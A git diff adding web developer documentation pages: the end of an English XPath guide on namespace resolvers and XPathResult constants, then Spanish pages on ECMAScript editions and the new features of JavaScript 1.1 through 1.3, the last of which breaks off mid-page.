+<h4 id="Implementing_a_default_namespace_for_XML_documents" name="Implementing_a_default_namespace_for_XML_documents">Implementing a default namespace for XML documents</h4>
+
+<p>As noted in the <a href="#Implementing_a_Default_Namespace_Resolver">Implementing a Default Namespace Resolver</a> previously, the default resolver does not handle the default namespace for XML documents. For example with this document:</p>
+
+<pre class="brush: xml">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
+&lt;feed xmlns="http://www.w3.org/2005/Atom"&gt;
+    &lt;entry /&gt;
+    &lt;entry /&gt;
+    &lt;entry /&gt;
+&lt;/feed&gt;
+</pre>
+
+<p><code>doc.evaluate('//entry', doc, nsResolver, XPathResult.ANY_TYPE, null)</code> will return an empty set, where <code>nsResolver</code> is the resolver returned by <code>createNSResolver</code>. Passing a <code>null</code> resolver doesn't work any better, either.</p>
+
+<p>One possible workaround is to create a custom resolver that returns the correct default namespace (the Atom namespace in this case). Note that you still have to use some namespace prefix in your XPath expression, so that the resolver function will be able to change it to your required namespace. E.g.:</p>
+
+<pre class="brush: js">function resolver() {
+    return 'http://www.w3.org/2005/Atom';
+}
+doc.evaluate('//myns:entry', doc, resolver, XPathResult.ANY_TYPE, null)
+</pre>
+
+<p>Note that a more complex resolver will be required if the document uses multiple namespaces.</p>
+
+<p>An approach which might work better (and allow namespaces not to be known ahead of time) is described in the next section.</p>
+
+<h4 id="Using_XPath_functions_to_reference_elements_with_a_default_namespace" name="Using_XPath_functions_to_reference_elements_with_a_default_namespace">Using XPath functions to reference elements with a default namespace</h4>
+
+<p>Another approach to match default elements in a non-null namespace (and one which works well for dynamic XPath expressions where the namespaces might not be known), involves referring to a particular element using a form such as <code>[namespace-uri()='<span class="nowiki">http://www.w3.org/1999/xhtml</span>' and name()='p' and @id='_myid']</code>. This circumvents the problem of an XPath query not being able to detect the default namespace on a regularly labeled element.</p>
+
+<h4 id="Getting_specifically_namespaced_elements_and_attributes_regardless_of_prefix" name="Getting_specifically_namespaced_elements_and_attributes_regardless_of_prefix">Getting specifically namespaced elements and attributes regardless of prefix</h4>
+
+<p>If one wishes to provide flexibility in namespaces (as they are intended) by not necessarily requiring a particular prefix to be used when finding a namespaced element or attribute, one must use special techniques.</p>
+
+<p>While one can adapt the approach in the above section to test for namespaced elements regardless of the prefix chosen (using <code><a href="/en/XPath/Functions/local-name" title="en/XPath/Functions/local-name">local-name()</a></code> in combination with <code><a href="/en/XPath/Functions/namespace-uri" title="en/XPath/Functions/namespace-uri">namespace-uri()</a></code> instead of <code><a href="/en/XPath/Functions/name" title="en/XPath/Functions/name">name()</a></code>), a more challenging situation occurs, however, if one wishes to grab an element with a particular namespaced attribute in a predicate (given the absence of implementation-independent variables in XPath 1.0).</p>
+
+<p>For example, one might try (incorrectly) to grab an element with a namespaced attribute as follows: <code>var xpathlink = someElements[local-name(@*)="href" and namespace-uri(@*)='<span class="nowiki">http://www.w3.org/1999/xlink</span>'];</code></p>
+
+<p>This could inadvertently grab some elements if one of its attributes existed that had a local name of "<code>href</code>", but it was a different attribute which had the targeted (XLink) namespace (instead of <code><a href="/en/XPath/Axes/attribute" title="en/XPath/Axes/attribute">@href</a></code>).</p>
+
+<p>In order to accurately grab elements with the XLink <code>@href</code> attribute (without also being confined to predefined prefixes in a namespace resolver), one could obtain them as follows:</p>
+
+<pre class="brush: js">var xpathEls = 'someElements[@*[local-name() = "href" and namespace-uri() = "http://www.w3.org/1999/xlink"]]'; // Grabs elements with any single attribute that has both the local name 'href' and the XLink namespace
+var thislevel = xml.evaluate(xpathEls, xml, null, XPathResult.ANY_TYPE, null);
+var thisitemEl = thislevel.iterateNext();
+</pre>
+
+<h4 id="XPathResult_Defined_Constants" name="XPathResult_Defined_Constants">XPathResult Defined Constants</h4>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <td class="header">Result Type Defined Constant</td>
+   <td class="header">Value</td>
+   <td class="header">Description</td>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>ANY_TYPE</td>
+   <td>0</td>
+   <td>A result set containing whatever type naturally results from evaluation of the expression. Note that if the result is a node-set then UNORDERED_NODE_ITERATOR_TYPE is always the resulting type.</td>
+  </tr>
+  <tr>
+   <td>NUMBER_TYPE</td>
+   <td>1</td>
+   <td>A result containing a single number. This is useful for example, in an XPath expression using the <code>count()</code> function.</td>
+  </tr>
+  <tr>
+   <td>STRING_TYPE</td>
+   <td>2</td>
+   <td>A result containing a single string.</td>
+  </tr>
+  <tr>
+   <td>BOOLEAN_TYPE</td>
+   <td>3</td>
+   <td>A result containing a single boolean value. This is useful for example, in an XPath expression using the <code>not()</code> function.</td>
+  </tr>
+  <tr>
+   <td>UNORDERED_NODE_ITERATOR_TYPE</td>
+   <td>4</td>
+   <td>A result node-set containing all the nodes matching the expression. The nodes may not necessarily be in the same order that they appear in the document.</td>
+  </tr>
+  <tr>
+   <td>ORDERED_NODE_ITERATOR_TYPE</td>
+   <td>5</td>
+   <td>A result node-set containing all the nodes matching the expression. The nodes in the result set are in the same order that they appear in the document.</td>
+  </tr>
+  <tr>
+   <td>UNORDERED_NODE_SNAPSHOT_TYPE</td>
+   <td>6</td>
+   <td>A result node-set containing snapshots of all the nodes matching the expression. The nodes may not necessarily be in the same order that they appear in the document.</td>
+  </tr>
+  <tr>
+   <td>ORDERED_NODE_SNAPSHOT_TYPE</td>
+   <td>7</td>
+   <td>A result node-set containing snapshots of all the nodes matching the expression. The nodes in the result set are in the same order that they appear in the document.</td>
+  </tr>
+  <tr>
+   <td>ANY_UNORDERED_NODE_TYPE</td>
+   <td>8</td>
+   <td>A result node-set containing any single node that matches the expression. The node is not necessarily the first node in the document that matches the expression.</td>
+  </tr>
+  <tr>
+   <td>FIRST_ORDERED_NODE_TYPE</td>
+   <td>9</td>
+   <td>A result node-set containing the first node in the document that matches the expression.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en/Using_XPath" title="en/Using_XPath">Using XPath</a></li>
+</ul>
+
+<div class="originaldocinfo">
+<h2 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h2>
+
+<ul>
+ <li>Based Upon Original Document <a class="external" href="http://www-xray.ast.cam.ac.uk/~jgraham/mozilla/xpath-tutorial.html">Mozilla XPath Tutorial</a></li>
+ <li>Original Source Author: James Graham.</li>
+ <li>Other Contributors: James Thompson.</li>
+ <li>Last Updated Date: 2006-3-25.</li>
+</ul>
+</div>
+
+<p> </p>
diff --git a/files/es/web/javascript/language_resources/index.html b/files/es/web/javascript/language_resources/index.html
new file mode 100644
index 0000000000..c165066272
--- /dev/null
+++ b/files/es/web/javascript/language_resources/index.html
@@ -0,0 +1,146 @@
+---
+title: Recursos de lenguaje JavaScript
+slug: Web/JavaScript/Language_Resources
+tags:
+  - Avanzado
+  - JavaScript
+translation_of: Web/JavaScript/Language_Resources
+---
+<div>{{JsSidebar}}</div>
+
+<p><strong>ECMAScript</strong> es el lenguaje de scripting que forma la base de <a href="/es/docs/JavaScript">JavaScript</a>. ECMAScript está estandarizado por la organización de estándares <a href="http://www.ecma-international.org/" title="http://www.ecma-international.org/">ECMA Internacional</a> en las especificaciones <strong>ECMA-262 y ECMA-402</strong>. Los siguientes estándares de ECMAScript han sido aprobados o estas siendo trabajados:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Nombre</th>
+   <th>Enlaces</th>
+   <th>Fecha de liberación</th>
+   <th>Descripción</th>
+  </tr>
+  <tr>
+   <th colspan="4">Ediciones actuales</th>
+  </tr>
+  <tr>
+   <td>ECMA-262 9<sup>a</sup> Edición</td>
+   <td><a href="https://tc39.github.io/ecma262/">Borrador de Trabajo</a>, <a href="https://github.com/tc39/ecma262">repositorio</a></td>
+   <td>2018</td>
+   <td>Especificación del Lenguaje ECMAScript 2018</td>
+  </tr>
+  <tr>
+   <td>ECMA-402 5<sup>a</sup> Edición</td>
+   <td><a href="https://tc39.github.io/ecma402/">Borrador de Trabajo</a>, <a href="https://github.com/tc39/ecma402">repositorio</a></td>
+   <td>2018</td>
+   <td>Especificación de la API de internacionalización ECMAScript 2018 </td>
+  </tr>
+  <tr>
+   <th colspan="4">Obsoletos / Historia de las ediciones</th>
+  </tr>
+  <tr>
+   <td>ECMA-262</td>
+   <td><a href="http://www.ecma-international.org/publications/files/ECMA-ST-ARCH/ECMA-262,%201st%20edition,%20June%201997.pdf">PDF</a></td>
+   <td>Junio 1997</td>
+   <td>ECMAScript: Un lenguaje de programación multiplataforma de propósito general. Esta fue la primera versión del estándar ECMAScript.</td>
+  </tr>
+  <tr>
+   <td>ECMA-262 2<sup>a</sup> Edición</td>
+   <td><a href="http://www.ecma-international.org/publications/files/ECMA-ST-ARCH/ECMA-262,%202nd%20edition,%20August%201998.pdf">PDF</a></td>
+   <td>Agosto 1998</td>
+   <td>ECMAScript Especificación de idioma. Esta es la segunda revisión del estándar ECMAScript también la norma ISO 16262.</td>
+  </tr>
+  <tr>
+   <td>ECMA-262 3<sup>a</sup> Edición</td>
+   <td><a href="http://www.ecma-international.org/publications/files/ECMA-ST-ARCH/ECMA-262,%203rd%20edition,%20December%201999.pdf">PDF</a></td>
+   <td>Diciembre 1999</td>
+   <td>Especificación del lenguaje ECMAScript. Esta es la tercera revisión del estándar ECMAScript ; corresponde a JavaScript 1.5.<br>
+    Ver también la <a href="http://www.mozilla.org/js/language/E262-3-errata.html">errata</a></td>
+  </tr>
+  <tr>
+   <td>ECMA-262 5<sup>a</sup> Edición</td>
+   <td><a href="http://www.ecma-international.org/publications/files/ECMA-ST-ARCH/ECMA-262%205th%20edition%20December%202009.pdf">PDF</a></td>
+   <td>Diciembre 2009</td>
+   <td>Especificación del lenguaje ECMAScript . Esta es la quinta revisión del estándar ECMAScript.<br>
+    Vea también la <a href="http://wiki.ecmascript.org/doku.php?id=es3.1:es3.1_proposal_working_draft">ES5 errata</a> y <a href="/en-US/docs/JavaScript/ECMAScript_5_support_in_Mozilla" title="JavaScript/ECMAScript 5 support in Mozilla">ECMAScript 5 soporte en Mozilla.</a></td>
+  </tr>
+  <tr>
+   <td>ECMA-357</td>
+   <td><a href="http://www.ecma-international.org/publications/files/ECMA-ST-WITHDRAWN/ECMA-357,%201st%20edition,%20June%202004.pdf">PDF</a></td>
+   <td>Junio 2004</td>
+   <td><a href="/en-US/docs/E4X" title="E4X">ECMAScript for XML (E4X)</a>.<br>
+    Vea también la <a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=169406">E4X errata</a>.</td>
+  </tr>
+  <tr>
+   <td>ECMA-262 5.1 Edición</td>
+   <td><a href="http://www.ecma-international.org/ecma-262/5.1/Ecma-262.pdf">PDF</a>, <a href="http://www.ecma-international.org/ecma-262/5.1/">HTML</a></td>
+   <td>Junio 2011</td>
+   <td>Esta es la tercera versión completa alineada del estándar internacional <a href="http://www.iso.org/iso/iso_catalogue/catalogue_tc/catalogue_detail.htm?csnumber=55755">ISO/IEC 16262:2011</a>.<br>
+    Incluye correcciones de erratas ES5, sin nuevas funciones.</td>
+  </tr>
+  <tr>
+   <td>ECMA-402 1<sup>a</sup> Edición</td>
+   <td><a href="http://ecma-international.org/ecma-402/1.0/ECMA-402.pdf">PDF</a>, <a href="http://ecma-international.org/ecma-402/1.0/index.html">HTML</a></td>
+   <td>Diciembre 2012</td>
+   <td>Especificación internacional de la API ECMAScript</td>
+  </tr>
+  <tr>
+   <td>ECMA-262 6<sup>a</sup> Edición</td>
+   <td><a href="http://www.ecma-international.org/publications/files/ECMA-ST/Ecma-262.pdf">PDF</a>, <a href="http://www.ecma-international.org/ecma-262/6.0/index.html">HTML</a></td>
+   <td>Junio 2015</td>
+   <td>Especificación del Lenguaje ECMAScript 2015 </td>
+  </tr>
+  <tr>
+   <td>ECMA-402 2<sup>a</sup> Edición</td>
+   <td><a href="http://www.ecma-international.org/ecma-402/2.0/ECMA-402.pdf">PDF</a></td>
+   <td>Junio 2015</td>
+   <td>Especificación internacional de  ECMAScript 2015</td>
+  </tr>
+  <tr>
+   <td>ECMA-262 7<sup>a</sup><span style="font-size: 13.3333px;"> </span>Edición</td>
+   <td><a href="http://www.ecma-international.org/ecma-262/7.0/">HTML</a></td>
+   <td>Junio 2016</td>
+   <td>Especificación del Lenguaje ECMAScript 2016</td>
+  </tr>
+  <tr>
+   <td>ECMA-402 3<sup>a</sup> Edición</td>
+   <td><a href="http://www.ecma-international.org/ecma-402/3.0/">HTML</a></td>
+   <td>Junio 2016</td>
+   <td>Especificación internacional de la API ECMAScript 2016</td>
+  </tr>
+  <tr>
+   <td>ECMA-262 8<sup>a</sup> Edición</td>
+   <td><a href="http://www.ecma-international.org/ecma-262/8.0/">HTML</a></td>
+   <td>Junio 2017</td>
+   <td>Especificación del Lenguaje ECMAScript 2017</td>
+  </tr>
+  <tr>
+   <td>
+    <p>ECMA-402 4<sup>a</sup> Edición</p>
+   </td>
+   <td><a href="http://www.ecma-international.org/ecma-402/4.0/">HTML</a></td>
+   <td>Junio 2017</td>
+   <td>Especificación internacional de la API ECMAScript 2017</td>
+  </tr>
+ </tbody>
+</table>
+
+<p><strong>ES.Next</strong> es un nombre dinámico que hace referencia a cualquiera que sea la próxima versión al momento de escribir. Las características de ES.Next se llaman más correctamente propuestas, porque, por definición, la especificación aún no se ha finalizado.</p>
+
+<p>Vea la entrada en <a href="https://en.wikipedia.org/wiki/ECMAScript" title="https://en.wikipedia.org/wiki/ECMAScript">Wikipedia ECMAScript </a> para mas información de la historia de ECMAScript.</p>
+
+<p>Puede participar o simplemente rastrear el trabajo en las próximas revisiones de la Especificación del lenguaje ECMAScript, cuyo nombre en código es "Harmony", y la Especificación API de internacionalización de ECMAScript a través de la wiki pública y la <a class="link-https" href="https://mail.mozilla.org/listinfo/es-discuss" title="https://mail.mozilla.org/listinfo/es-discuss">lista de discusión</a> enlazada desde <a href="http://www.ecmascript.org/community.php">ecmascript.org</a>.</p>
+
+<h2 id="Implementaciones">Implementaciones</h2>
+
+<ul>
+ <li><a href="/es/docs/SpiderMonkey" title="SpiderMonkey">SpiderMonkey</a> - el motor de JavaScript usado en varios productos de Mozilla, incluyendo Firefox;</li>
+ <li><a href="/es/docs/Rhino" title="Rhino">Rhino</a> - El motor de JavaScript  escrito en Java;</li>
+ <li><a href="/es/docs/Tamarin" title="Tamarin">Tamarin</a> - La maquina virtual ActionScript (usada en Adobe® Flash® Player);</li>
+ <li><a href="https://en.wikipedia.org/wiki/List_of_ECMAScript_engines" title="https://en.wikipedia.org/wiki/List_of_ECMAScript_engines">Otras implementacion </a>(Wikipedia).</li>
+</ul>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li><a href="https://brendaneich.com/" title="https://brendaneich.com/">Brendan Eich's blog</a>. Brendan es el creador de JavaScript y el motor SpiderMonkey JS. El aún trabaja con el grupo de ECMA para desarrollar el lenguaje.</li>
+ <li><a href="http://dmitrysoshnikov.com/" title="http://dmitrysoshnikov.com/">El análisis de Dmitry Soshnikov's de ECMA-262 Edición 3 y 5</a></li>
+</ul>
diff --git a/files/es/web/javascript/novedades_en_javascript/1.1/index.html b/files/es/web/javascript/novedades_en_javascript/1.1/index.html
new file mode 100644
index 0000000000..985692f96c
--- /dev/null
+++ b/files/es/web/javascript/novedades_en_javascript/1.1/index.html
@@ -0,0 +1,74 @@
+---
+title: Nuevo en JavaScript 1.1
+slug: Web/JavaScript/Novedades_en_JavaScript/1.1
+tags:
+  - JavaScript
+  - Versiones
+translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.1
+---
+<div>{{jsSidebar("New_in_JS")}}</div>
+
+<p>Lo siguiente es una bitácora de cambios en JavaScript desde Netscape Navigator 2.0 al 3.0. La documentación del viejo Netscape se refiere a ésto como "<a href="https://web.archive.org/web/20060318153542/wp.netscape.com/eng/mozilla/3.0/handbook/javascript/index.html">Características agregadas luego de la versión 1</a>". Netscape Navigator 3.0 se lanzó el 19 de agosto de 1996. Netscape Navigator 3.0 fue la segunda versión principal del navegador con soporte JavaScript.</p>
+
+<h2 id="Versiones_JavaScript">Versiones JavaScript</h2>
+
+<p>Netscape Navigator 3.0 también introdujo versiones del lenguage JavaScript.</p>
+
+<pre class="brush: html">&lt;SCRIPT LANGUAGE="JavaScript"&gt;    &lt;!-- JavaScript for Navigator 2.0. --&gt;
+&lt;SCRIPT LANGUAGE="JavaScript1.1"&gt; &lt;!-- JavaScript for Navigator 3.0. --&gt;</pre>
+
+<h2 id="Características_nuevas_en_JavaScript_1.1">Características nuevas en JavaScript 1.1</h2>
+
+<h3 id="Objetos_nuevos">Objetos nuevos</h3>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+ <li>{{jsxref("Boolean")}}</li>
+ <li>{{jsxref("Function")}}</li>
+ <li>{{jsxref("Number")}}</li>
+</ul>
+
+<h3 id="Propiedades_nuevas">Propiedades nuevas</h3>
+
+<ul>
+ <li>{{jsxref("Number.MAX_VALUE")}}</li>
+ <li>{{jsxref("Number.MIN_VALUE")}}</li>
+ <li>{{jsxref("NaN")}}</li>
+ <li>{{jsxref("Number.NEGATIVE_INFINITY")}}</li>
+ <li>{{jsxref("Number.POSITIVE_INFINITY")}}</li>
+</ul>
+
+<h3 id="Método_nuevos">Método nuevos</h3>
+
+<ul>
+ <li>{{jsxref("Array.prototype.join()")}}</li>
+ <li>{{jsxref("Array.prototype.reverse()")}}</li>
+ <li>{{jsxref("Array.prototype.sort()")}}</li>
+ <li>{{jsxref("Array.prototype.split()")}}</li>
+</ul>
+
+<h3 id="Operadores_nuevos">Operadores nuevos</h3>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/typeof">typeof</a></code></li>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/void">void</a></code></li>
+</ul>
+
+<h3 id="Otras_características_nuevas">Otras características nuevas</h3>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/HTML/Element/noscript">&lt;noscript&gt;</a></code></li>
+ <li><a href="/en-US/docs/Archive/Web/LiveConnect">LiveConnect</a>. Comunicación entre Java y JavaScript.</li>
+</ul>
+
+<h2 id="Modificaciones_en_funcionalidad_en_JavaScript_1.1">Modificaciones en funcionalidad en  JavaScript 1.1</h2>
+
+<ul>
+ <li>"Eliminación de objetos". Puedes remover un objeto si estableces como <code>null</code> su objeto de referencia.</li>
+ <li>Se añadieron a los objetos las propiedades <code>constructor</code> y <code>prototype</code>.</li>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval">eval()</a></code> ahora es un método de cada objeto (anteriormente era una función integrada); ésto evalúa una cadena de código JavaScript en el contexto del objeto especificado.</li>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/random">Math.random()</a></code> ahora funciona en todas las plataformas.</li>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/toString">toString()</a></code>: Se agregó el parámetro de radix, lo cual especifica la base a usar para representar valores numéricos.</li>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/isNaN">isNaN()</a></code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/isNaN"> </a> Ahora funciona en todas las plataformas (no sólamente en <em>Unix</em>)</li>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/parseFloat">parseFloat()</a></code> <code>y <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/parseInt">parseint()</a></code> ahora resultan <code>NaN</code> en todas las plataformas si el primer caracter de la cadena especificada no puede ser convertido en número; en lanzamientos anteriores, resultaba <code>NaN</code> en <em>Solaris </em>e <em>Irix</em>, y cero en todas las otras plataformas.</li>
+</ul>
diff --git a/files/es/web/javascript/novedades_en_javascript/1.2/index.html b/files/es/web/javascript/novedades_en_javascript/1.2/index.html
new file mode 100644
index 0000000000..722e0d21f1
--- /dev/null
+++ b/files/es/web/javascript/novedades_en_javascript/1.2/index.html
@@ -0,0 +1,100 @@
+---
+title: New in JavaScript 1.2
+slug: Web/JavaScript/Novedades_en_JavaScript/1.2
+tags:
+  - JavaScript
+  - Versiones
+translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.2
+---
+<div>{{jsSidebar("New_in_JS")}}</div>
+
+<div>Lo siguiente es una lista de cambios de JavaScript del Navegador Netscape 3.0 a 4.0. La antigua Documentación del Navegador Netscape puede ser localizada en <a href="https://web.archive.org/web/19971015223714/http://developer.netscape.com/library/documentation/communicator/jsguide/js1_2.htm">Archivo.org</a>. Netscape Navegador 4.0 fue lanzado en el 11 de Junio de 1997. Netscape Navegador 4.0 fue la tercera principal del navegador con soporte a JavaScript.</div>
+
+<p> </p>
+
+<h2 id="JavaScript_versiones">JavaScript versiones</h2>
+
+<p> </p>
+
+<p>El Navegador Netscape 4.0 ejecuta las versiones del lenguaje JavaScript hasta el 1.2. Tenga en cuenta que el Navegador Netscape 3.0 y anteriores ignoraban script con el atributo de lenguaje colocando "JavaScript1.2" y superior.</p>
+
+<p> </p>
+
+<pre class="brush: html">&lt;SCRIPT LANGUAGE="JavaScript1.1"&gt; &lt;!-- JavaScript para Navegador 3.0. --&gt;
+&lt;SCRIPT LANGUAGE="JavaScript1.2"&gt; &lt;!-- JavaScript para Navegador 4.0. --&gt;</pre>
+
+<p> </p>
+
+<h2 id="Las_nuevas_características_en_JavaScript_1.2">Las nuevas características en JavaScript 1.2</h2>
+
+<h3 id="Los_nuevos_objetos">Los nuevos objetos</h3>
+
+<ul>
+ <li>Tu puedes crear objetos usando la notación literal (inspirado en la sintaxis literal del diccionario de Python 1.x).</li>
+ <li>Arreglos (Arrays) pueden ser creados usando la notación literal (Inspirados en la lista de la sintaxis literal de Python 1.X ).</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/arity">argumentos</a></li>
+</ul>
+
+<h3 id="Nuevas_Propiedades">Nuevas Propiedades</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/arguments">Function.arity</a></li>
+</ul>
+
+<h3 id="Nuevos_Metodos">Nuevos Metodos</h3>
+
+<ul>
+ <li>{{jsxref("Array.prototype.concat()")}}</li>
+ <li>{{jsxref("Array.prototype.slice()")}}</li>
+ <li>{{jsxref("String.prototype.charCodeAt()")}}</li>
+ <li>{{jsxref("String.prototype.concat()")}}</li>
+ <li>{{jsxref("String.fromCharCode()")}}</li>
+ <li>{{jsxref("String.prototype.match()")}}</li>
+ <li>{{jsxref("String.prototype.replace()")}}</li>
+ <li>{{jsxref("String.prototype.search()")}}</li>
+ <li>{{jsxref("String.prototype.slice()")}}</li>
+ <li>{{jsxref("String.prototype.substr()")}}</li>
+</ul>
+
+<h3 id="Nuevos_Operadores">Nuevos Operadores</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/delete"><code>delete (eliminar)</code></a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Equality_comparisons_and_when_to_use_them">Operadores de Igualdad</a> (<code>==</code> y <code>!=</code>)</li>
+</ul>
+
+<h3 id="Nuevas_Declaraciones">Nuevas Declaraciones</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/label">Labeled</a> statements</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/switch"><code>switch</code></a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/do...while"><code>do...while</code></a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/import"><code>import</code></a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/export"><code>export</code></a></li>
+</ul>
+
+<h3 id="Otras_nuevas_características">Otras nuevas características</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Regular_Expressions">Expresiones Regulares</a></li>
+ <li><a href="https://web.archive.org/web/19971015223714/http://developer.netscape.com/library/documentation/communicator/jsguide/js1_2.htm">Scripts Firmados</a></li>
+</ul>
+
+<h2 id="Cambios_en_la_funcionalidad_de_JavaScript_1.2">Cambios en la funcionalidad de JavaScript 1.2</h2>
+
+<ul>
+ <li>Ahora puedes anidar funciones dentro de funciones.</li>
+ <li>Número ahora convierte un objeto especificado en un número.</li>
+ <li>Numero ahora produce NaN en lugar de un error si <code>x</code> es una cadena que no contiene un literal bien formado numérico.</li>
+ <li>Cadena ahora convierte un objeto especificado en una cadena.</li>
+ <li>{{jsxref("Array.prototype.sort()")}} Ahora funciona en todas las plataformas. Ya no convierte los elementos definidos en Nulo (null) y los ordena a la gran final de la matriz (Array).</li>
+ <li>{{jsxref("String.prototype.split()")}}
+  <ul>
+   <li>Se puede tomar un argumento de expresión regular, asi como una cadena fija, por el que se divide la cadena objeto.</li>
+   <li>Se puede tomar un conteo límite para que no incluirá arrastrando elementos vacíos en la matriz (array) resultante.</li>
+  </ul>
+ </li>
+ <li>{{jsxref("String.prototype.substring()")}}: Ya no intercambia números de índice cuando el primer índice es mayor que el segundo.</li>
+ <li><code>toString()</code>: Ahora convierte el objeto (object) o la matriz (array) a un literal.</li>
+ <li>El <a href="/en-US/docs/Web/JavaScript/Reference/Statements/break"><code>break</code></a> y <a href="/en-US/docs/Web/JavaScript/Reference/Statements/continue"><code>continue</code></a> declaraciones se pueden utilizar ahora con la nueva instrucción con etiqueta.</li>
+</ul>
diff --git a/files/es/web/javascript/novedades_en_javascript/1.3/index.html b/files/es/web/javascript/novedades_en_javascript/1.3/index.html
new file mode 100644
index 0000000000..9fb442d96c
--- /dev/null
+++ b/files/es/web/javascript/novedades_en_javascript/1.3/index.html
@@ -0,0 +1,141 @@
+---
+title: Nuevo en JavaScript 1.3
+slug: Web/JavaScript/Novedades_en_JavaScript/1.3
+tags:
+  - JavaScript
+  - Versiones
+translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.3
+---
+<div>{{jsSidebar("New_in_JS")}}</div>
+
+<p>Lo siguiente es el archivo de cambios de JavaScript desde Netscape Navigator 4.0 al 4.5. La documentación antigua de Netscape puede encontrarse en archive.org. Netscape Navigator 4.5 fue lanzado el 19 de octubre de 1998.</p>
+
+<p>El cambio más importante en JavaScript 1.3 fue conseguir que estuviera en conformidad con ECMA-262 y Unicode eliminando las inconsistencias entre JavaScritp 1.2 y el nuevo estándar ECMA (publicado en junio de 1997). Características adicionales de la versión 1.2. (que en ese momento todavía no era ECMA-262) se mantuvieron en el lenguaje JavaScript (ver más adelante para una lista de las diferencias.)</p>
+
+<h2 id="Versiones_de_JavaScript">Versiones de JavaScript</h2>
+
+<p>Netscape Communicator y Netscape Navigator 4.06 y 4.5 ejecutan versiones del lenguaje JavaScript hasta la 1.3. Se hace notar que Communicator y Navigator 4.0-4.5 y anteriores ignoraban los scripts con el atributo de lenguaje "JavaScript1.3" y superior.</p>
+
+<pre class="brush: html">&lt;SCRIPT LANGUAGE="JavaScript1.2"&gt; &lt;!-- JavaScript para Navigator 4.0. --&gt;
+&lt;SCRIPT LANGUAGE="JavaScript1.3"&gt; &lt;!-- JavaScript para Navigator 4.5. --&gt;</pre>
+
+<h2 id="Nuevas_características_en_JavaScript_1.3">Nuevas características en JavaScript 1.3</h2>
+
+<h3 id="Nuevos_globales">Nuevos globales</h3>
+
+<ul>
+ <li>{{jsxref("NaN")}}</li>
+ <li>{{jsxref("Infinity")}}</li>
+ <li>{{jsxref("undefined")}}</li>
+</ul>
+
+<h3 id="Nuevos_métodos">Nuevos métodos</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/isFinite"><code>isFinite()</code></a></li>
+ <li>{{jsxref("Function.prototype.call()")}}</li>
+ <li>{{jsxref("Function.prototype.apply()")}}</li>
+ <li>{{jsxref("Date.UTC()")}}</li>
+ <li>{{jsxref("Date.prototype.getFullYear()")}}</li>
+ <li>{{jsxref("Date.prototype.setFullYear()")}}</li>
+ <li>{{jsxref("Date.prototype.getMilliseconds()")}}</li>
+ <li>{{jsxref("Date.prototype.setMilliseconds()")}}</li>
+ <li>{{jsxref("Date.prototype.getUTCFullYear()")}}</li>
+ <li>{{jsxref("Date.prototype.getUTCMonth()")}}</li>
+ <li>{{jsxref("Date.prototype.getUTCDate()")}}</li>
+ <li>{{jsxref("Date.prototype.getUTCHours()")}}</li>
+ <li>{{jsxref("Date.prototype.getUTCMinutes()")}}</li>
+ <li>{{jsxref("Date.prototype.getUTCSeconds()")}}</li>
+ <li>{{jsxref("Date.prototype.getUTCMilliseconds()")}}</li>
+ <li>{{jsxref("Date.prototype.toUTCString()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCFullYear()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCMonth()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCDate()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCHours()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCMinutes()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCSeconds()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCMilliseconds()")}}</li>
+</ul>
+
+<h3 id="Otras_características_nuevas">Otras características nuevas</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Using_the_Equality_Operators" title="JavaScript/Reference/Operators/Comparison_Operators#Using_the_Equality_Operators">Operadores de igualdad estrictos</a></li>
+ <li>Soporte de Unicode</li>
+ <li>Se introduce una consola de JavaScript.</li>
+</ul>
+
+<h2 id="Funcionalidades_cambiadas_en_JavaScript_1.3">Funcionalidades cambiadas en JavaScript 1.3</h2>
+
+<ul>
